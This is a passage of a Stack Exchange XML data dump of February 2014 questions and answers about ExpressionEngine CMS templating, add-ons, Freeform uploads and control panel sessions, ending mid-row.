  <row Id="19371" PostTypeId="2" ParentId="19325" CreationDate="2014-02-12T14:54:43.750" Score="3" Body="&lt;p&gt;I'm going to put my comment as an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first line you can change &lt;code&gt;store_product_sku&lt;/code&gt; to &lt;code&gt;{product_details:store_product_sku}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second line if &lt;code&gt;{title}&lt;/code&gt; works then IMO you are already in the &lt;code&gt;exp:channel:entries&lt;/code&gt; so you have duplicated it that is why may not work correctly. Other way it looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can use short tag &lt;code&gt;{sku}&lt;/code&gt; so you need to change &lt;code&gt;store_product_sku&lt;/code&gt; to &lt;code&gt;sku&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-02-13T18:32:49.377" LastActivityDate="2014-02-13T18:32:49.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19373" PostTypeId="2" ParentId="19369" CreationDate="2014-02-12T16:17:52.460" Score="2" Body="&lt;p&gt;This is likely because the comment notification uses not the database entry for the comment, but the POSTed comment data. The &lt;code&gt;insert_comment_insert_array&lt;/code&gt; hook only affects what gets inserted into the database.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-12T16:17:52.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19374" PostTypeId="2" ParentId="19350" CreationDate="2014-02-12T16:23:01.730" Score="0" Body="&lt;p&gt;You're trying to use {item_entry_id} for the context parameter when outputting your item_media list, but it doesn't look like it was set? Try adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to news_list when you're setting it.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-02-12T16:23:01.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19375" PostTypeId="2" ParentId="19335" CreationDate="2014-02-12T16:39:09.510" Score="1" Body="&lt;p&gt;I haven't used it myself, but &lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow&quot;&gt;Router&lt;/a&gt; looks to be what you need to use.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-02-12T16:39:09.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19376" PostTypeId="2" ParentId="19340" CreationDate="2014-02-12T18:28:05.980" Score="0" Body="&lt;p&gt;You would have to do a custom query against the exp_assets_selections table. Currently there's no other way.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-02-12T18:28:05.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19377" PostTypeId="1" AcceptedAnswerId="19384" CreationDate="2014-02-12T19:22:47.433" Score="2" ViewCount="379" Body="&lt;p&gt;Basically want to find the number of entries per category in order to perform a conditional to show different content based on the entry count. Essentially:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if count  = 2 then this&#xA;if count is less than 2 then something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Native way would be preferred  but any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-12T21:38:01.543" Title="Anyone know of a plugin to show Category count?" Tags="|categories|conditionals|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19378" PostTypeId="1" AcceptedAnswerId="19412" CreationDate="2014-02-12T19:24:10.630" Score="0" ViewCount="83" Body="&lt;p&gt;I am using the {categories} tag pair to link entries to their relevant section, however, when I use the following code it does not display child categories. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;section&quot; category=&quot;{section_category_num}&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{intro_text}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&#xA;&amp;lt;section&amp;gt;&#xA;&amp;lt;article class=&quot;container&quot;&amp;gt;&#xA;{sub_section}&#xA;&amp;lt;div class=&quot;product eight columns alpha&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;product_img&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;{sub_section:product_photo}&quot; title=&quot;&quot; /&amp;gt;&#xA;&amp;lt;div class=&quot;triangle&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;product_info&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;{sub_section:categories limit=&quot;1&quot;}&amp;lt;a href=&quot;/living-room/{category_url_title}&quot;&amp;gt;{sub_section:title}&amp;lt;/a&amp;gt;{/sub_section:categories}&amp;lt;/h4&amp;gt;&#xA;{sub_section:product_description}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/sub_section}&#xA;&amp;lt;/article&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since this is a section page, what I want to be able to do is to reference the related entries child category url to link to the relevant sub section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I did attempt to use GWCode Categories but without success.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-02-13T14:19:54.473" Title="How do I reference a sub-category using {categories} tag pair?" Tags="|categories|relationships|gwcode-categories|child-categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19379" PostTypeId="1" AcceptedAnswerId="19481" CreationDate="2014-02-12T20:11:58.767" Score="4" ViewCount="2060" Body="&lt;p&gt;My client uses Freeform Pro to take resumés and cover letters through a lengthy career registration page. After working fine for two months, applicants started getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form you submitted contains the following errors&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The file could not be written to disk.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They only have about 10 megs of files in the upload folder, and have collected 274 documents already through this Freeform Pro form. I was able to upload files through FTP to the upload destination, so it doesn't seem to be a server limit. They are using EE 2.6.1 and Freeform Pro 4.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there limit in ExpressionEngine, Freeform Pro, or the server that can be changed to allow uploads to continue? What might be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: After further investigation, I found the problem appeared only for logged out users. If I was logged in, I had no problem uploading files through the form. This indicated the problem was not a hidden limit setting.&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="359" LastEditDate="2014-02-15T17:55:26.173" LastActivityDate="2014-02-15T18:06:22.950" Title="Freeform upload error: The file could not be written to disk" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19380" PostTypeId="2" ParentId="16752" CreationDate="2014-02-12T20:56:53.033" Score="1" Body="&lt;p&gt;I know this was asked over 3 months ago, but the question is still valid and the answer that was given is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With CartThrob, a lot of information is stored in the cart_items_info tag that needs to be displayed. In my case, I'm using a conditional whether or not to allow someone to update the quantity in the shopping cart. I'm using Grid to set details about the product and without the ability to parse the Grid data, the conditional doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A work-around for most scenarios is to embed a template with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;{entry_id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then using the channel:entries tag in the embedded template to display the Grid data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob was updated to 2.5 which added some Grid support but has not fixed the issue with the cart_items_info tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the error it's throwing when a Grid field type is within the cartthrob:cart_items_info tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: 106&#xA;&#xA;Filename: libraries/Grid_parser.php&#xA;&#xA;Line Number: 155&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - I was able to get my conditional to work by using the embedded template and the entry_id variable, adding the conditional with Grid :total_rows parameter, adding another cartthrob:cart_items_info tag within the conditional and adding the entry_id as a parameter so it will only display a single item as opposed to looping through all items. It's the long way around the situation, but it does fix my problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping CartThrob will have full Grid support in the near future.&lt;/p&gt;&#xA;" OwnerUserId="1303" LastEditorUserId="1303" LastEditDate="2014-02-12T21:04:03.470" LastActivityDate="2014-02-12T21:04:03.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19381" PostTypeId="1" CreationDate="2014-02-12T21:04:16.100" Score="1" ViewCount="148" Body="&lt;p&gt;I have a problem, I have romainian character into the titles, but this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;filme&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot; limit=&quot;1000&quot;}&#xA;&amp;lt;?php&#xA;$letter = strtoupper(mb_substr('{title}', 0, 1));&#xA;if ($temp != $letter) {&#xA;    echo &quot;&amp;lt;a href='$letter'&amp;gt;&quot;.$letter.&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;    $temp = $letter;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shows me on ș ț ă î something like these :�&#xA;What should I do that the output of php to come well and make my sorting method work ?&#xA;I want to build an Alphabet ..&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="197" LastEditDate="2014-02-13T12:54:50.160" LastActivityDate="2014-02-14T09:08:10.320" Title="Foreign Character showing Question Mark Diamonds" Tags="|channel-entries|sort|title|low-alphabet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19383" PostTypeId="1" AcceptedAnswerId="19408" CreationDate="2014-02-12T21:36:40.930" Score="1" ViewCount="44" Body="&lt;p&gt;I have a news page that should either display 10 results regardless of category or 10 results based on the category information in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is checking to see if there is a category url in the URL and if so performs a query with the category id to limit results to that category otherwise falls back to performing a full query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested my logic and my conditional and EE queries are working as expected but when I output the Stash list it's displaying results for entries that are not in the category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to have two different list names?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2_category_id != ''}&#xA;&#xA;        {exp:stash:set_list name=&quot;news_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;            {exp:channel:entries channel=&quot;news&quot; status=&quot;open|featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;                {stash:item_title}{title}{/stash:item_title}&#xA;                {stash:item_url}{url_title}{/stash:item_url}&#xA;                {stash:item_date}{entry_date format=&quot;%F %d, %Y &quot;}{/stash:item_date}&#xA;                {stash:item_copy}{news_content}{/stash:item_copy}&#xA;                {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;                {exp:stash:set_list:nested name=&quot;item_media&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                    {news_videos_images}&#xA;                        {stash:item_image}{image}{/stash:item_image}&#xA;                        {stash:item_video}{video}{/stash:item_video}&#xA;                    {/news_videos_images}&#xA;                {/exp:stash:set_list:nested} &#xA;            {/exp:channel:entries}&#xA;        {/exp:stash:set_list}&#xA;    {if:else}&#xA;&#xA;        {exp:stash:set_list name=&quot;news_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;            {exp:channel:entries channel=&quot;news&quot; status=&quot;open|featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot;}&#xA;                {stash:item_title}{title}{/stash:item_title}&#xA;                {stash:item_url}{url_title}{/stash:item_url}&#xA;                {stash:item_date}{entry_date format=&quot;%F %d, %Y &quot;}{/stash:item_date}&#xA;                {stash:item_copy}{news_content}{/stash:item_copy}&#xA;                {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;                {exp:stash:set_list:nested name=&quot;item_media&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                    {news_videos_images}&#xA;                        {stash:item_image}{image}{/stash:item_image}&#xA;                        {stash:item_video}{video}{/stash:item_video}&#xA;                    {/news_videos_images}&#xA;                {/exp:stash:set_list:nested} &#xA;            {/exp:channel:entries}&#xA;        {/exp:stash:set_list}&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-13T12:30:10.630" Title="Stash List - Showing too many results" Tags="|stash|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19384" PostTypeId="2" ParentId="19377" CreationDate="2014-02-12T21:38:01.543" Score="4" Body="&lt;p&gt;I think GWcode Categories would be the easiest way to do this: &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt;. It can also do a great number of other things with categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also an add-on just for counting category entries: &lt;a href=&quot;http://devot-ee.com/add-ons/category-count&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/category-count&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually use both on my site. I don't think there is a native way to do this without an add-on.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-12T21:38:01.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19385" PostTypeId="1" AcceptedAnswerId="19391" CreationDate="2014-02-12T22:01:12.697" Score="1" ViewCount="106" Body="&lt;p&gt;I am creating a form via module, that I wish to use for both insert and update. After the insert user has the option of going back to edit the values previously input. The issue that I encounter is with the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function decides if insert or update&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function form()&#xA;{&#xA;    session_start();&#xA;    $tagdata     = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    if(isset($_SESSION['id'])){&#xA;        $variables   = array();&#xA;        $variables[] = $_SESSION['tags'];&#xA;&#xA;        return self::buildForm('updateForm', $tagdata, $variables);&#xA;&#xA;    }&#xA;&#xA;    return self::buildForm('addDonation', $tagdata);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this function handles the actual building of the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function buildForm($method, $tagdata, $variables = FALSE)&#xA;{&#xA;    $hidden_fields = array(&#xA;        'ACT' =&amp;gt;  $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_action_id('Meal', $method)&#xA;    );&#xA;&#xA;    if($variables != FALSE){&#xA;&#xA;        $conditionals = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;simple_conditionals($tagdata, $variables);&#xA;        $conditionals = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($conditionals, $variables);&#xA;&#xA;        print_r($conditionals);&#xA;&#xA;        $content = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;final_template);&#xA;&#xA;    }&#xA;&#xA;    //Build an array with the form data&#xA;    $form_data = array(&#xA;        &quot;id&quot;            =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;        &quot;class&quot;         =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;        'hidden_fields' =&amp;gt; $hidden_fields&#xA;    );&#xA;&#xA;    $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_data) . $content . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is currently &lt;code&gt;{if FirstName !=&lt;/code&gt; and {FirstName} within the conditional is not being parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2014-02-15T17:01:44.443" Title="Conditionals not Parsed in form" Tags="|conditionals|module|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19386" PostTypeId="1" AcceptedAnswerId="19388" CreationDate="2014-02-12T22:14:35.233" Score="1" ViewCount="357" Body="&lt;p&gt;I have a custom field with a person's name in it, and I need to convert it (in the template) to all lowercase with dashes instead of spaces so I can use it as an ID tag. Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Suzie McRowdy&lt;/code&gt; becomes &lt;code&gt;suzie-mcrowdy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an (ideally free) add-on that will take care of this for me?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-02-12T23:03:07.860" LastActivityDate="2014-02-12T23:03:07.860" Title="Convert Custom Field Content to Lower Case with Dashes" Tags="|add-on|custom-fields|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19387" PostTypeId="1" CreationDate="2014-02-12T22:14:36.087" Score="3" ViewCount="175" Body="&lt;p&gt;Does anyone know a way to automatically synchronize a file directory? Possibly through a cron?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have an image manipulation done to the member photo directory, and I don't see a way to do that automatically through the Members module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-02-13T00:04:24.360" Title="Auto-synchronize an upload directory" Tags="|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19388" PostTypeId="2" ParentId="19386" CreationDate="2014-02-12T22:29:20.993" Score="4" Body="&lt;p&gt;If you need to do this from the template you could use a plugin like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/create-url-title&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/create-url-title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to do it directly to the DB please update us so we can give you that solution as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt; also has a custom method called url_title which will do the same thing but, it's not a free add-on.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2014-02-12T22:35:05.737" LastActivityDate="2014-02-12T22:35:05.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19389" PostTypeId="2" ParentId="19386" CreationDate="2014-02-12T22:35:01.003" Score="2" Body="&lt;p&gt;I did this with &lt;a href=&quot;http://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{url}&quot; class=&quot;icon-{exp:ce_str:ing url_title}{label}{/exp:ce_str:ing}&quot;&amp;gt;{label}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods#url_title&quot; rel=&quot;nofollow&quot;&gt;docs here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I like this method is CE String is super helpful across most site builds. It has so many useful features!&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2014-02-12T22:35:01.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19390" PostTypeId="2" ParentId="19386" CreationDate="2014-02-12T22:46:16.953" Score="1" Body="&lt;p&gt;You could also use Low Replace (which is FREE!):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-replace/docs#tags&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-replace/docs#tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used it for adjusting the &lt;code&gt;case&lt;/code&gt; of outputted data but it is supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should get you started!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-02-12T22:46:16.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19391" PostTypeId="2" ParentId="19385" CreationDate="2014-02-12T22:48:58.787" Score="2" Body="&lt;p&gt;I think you're making this more complex than needed. This should suffice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($variables != FALSE)&#xA;{&#xA;    $content = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals(&#xA;        $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $variables)//preps then runs parse_variables_row()    &#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="2709" LastEditDate="2014-02-15T17:01:44.443" LastActivityDate="2014-02-15T17:01:44.443" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19392" PostTypeId="1" AcceptedAnswerId="19393" CreationDate="2014-02-12T23:32:16.537" Score="1" ViewCount="59" Body="&lt;p&gt;On 2.5.5 I had a link like this on the client's product pages:&#xA;&lt;a href=&quot;http://cl.ly/image/2c3G3m1X0a3D&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2c3G3m1X0a3D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very simple, if they are logged into the CP on another tab, they click the edit link and it opens this product's CP edit page in a new tab. The link looks like this:&#xA;&lt;a href=&quot;http://www.domain.com/admin/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=12&amp;amp;entry_id=7832&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/admin/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=12&amp;amp;entry_id=7832&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked great for years. Note also that the link is only shown if all these are true, so we know they are logged into a current CP session and have the right to see the link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $is_admin = TRUE;&#xA;&#xA;    if($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('group_id') != '1' AND $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('group_id') != '6') {&#xA;        $is_admin = FALSE;&#xA;    }&#xA;&#xA;    if($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('access_cp') != 'y') {&#xA;        $is_admin = FALSE;&#xA;    }&#xA;&#xA;    if($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('admin_sess') != 1) {&#xA;        $is_admin = FALSE;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I updated them to 2.7.3 and now those same links bring up just the CP login page. What has changed in the session/security model that would prevent this from working?&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2014-02-12T23:38:26.870" Title="Upgrade to EE 2.7.3 login to CP via link not working any longer" Tags="|sessions|xss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19393" PostTypeId="2" ParentId="19392" CreationDate="2014-02-12T23:38:26.870" Score="1" Body="&lt;p&gt;I believe what changed is that EE now defaults to requiring session IDs in the control panel URLs. (That's the S=e8a181fc77af1b35e47193c0e0b27a15 part you see.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable this at Admin -&gt; Security and Privacy -&gt; Security and Sessions, changing the Control Panel session type to Cookies Only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you can just add the session ID into your URLs, which is available in templates as &lt;code&gt;{cp_session_id}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-12T23:38:26.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19394" PostTypeId="2" ParentId="19387" CreationDate="2014-02-13T00:04:24.360" Score="2" Body="&lt;p&gt;There's no built in way to do this. You'd need to build an add-on that triggers the manipulations, similar to how it's triggered when the images are uploaded through the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier way to handle this might be to do the resizing on the frontend using the &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; plugin. The manipulations get generated when they are needed, so you don't need to worry about a cron job to process new images for you.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-13T00:04:24.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19395" PostTypeId="1" AcceptedAnswerId="19396" CreationDate="2014-02-13T02:45:36.613" Score="1" ViewCount="559" Body="&lt;p&gt;I keep getting this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file you are attempting to upload is larger than the permitted size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find where I can set the limit in Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PHP upload_max_filesize is set to 2M and the file I am trying to upload is less than 100K.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-13T02:55:18.067" Title="Freeform Pro : Where do I set the file size limit for a file upload field" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19396" PostTypeId="2" ParentId="19395" CreationDate="2014-02-13T02:55:18.067" Score="1" Body="&lt;p&gt;You may want to check a couple more php.ini settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;post_max_size&lt;/code&gt; - the maximum size for a post request including any files and any other text fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;memory_limit&lt;/code&gt; - your memory limit also has to be large enough to hold the largest upload you will accept&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly, the upload location preferences for the location you've selected to use in Freeform has its own maximum file size setting. This can be found by editing the upload location in File Upload Preferences in the control panel.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-13T02:55:18.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19397" PostTypeId="1" AcceptedAnswerId="19511" CreationDate="2014-02-13T04:21:30.747" Score="0" ViewCount="92" Body="&lt;p&gt;The the EE docs here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#categories&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says the {category_parent} tag should show: &quot;The name of the category parent if it exists, indented according to the category depth.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, it outputs the parent's ID, not the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this an error in the docs, or a bug in EE?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-18T00:13:11.237" Title="Channel form categories {category_parent} returns ID instead of name?" Tags="|categories|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19398" PostTypeId="1" CreationDate="2014-02-13T05:28:05.543" Score="1" ViewCount="150" Body="&lt;p&gt;We are using Grid to manage resources / and downloads on a site. We need to pull together resources from a number of different entries, based on segment. We use a search within Grid on a Select Dropdown to output the appropriate resource. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working as expected, but we cannot find a way to not output the &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; if the search: within Grid has no results. If we use {limit=&quot;1&quot;} on {exp:channel_entries} it won't work, as the entry it recalls may or may not have the appropriate resource in the Grid Select Dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated, thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt; Waste Management Group 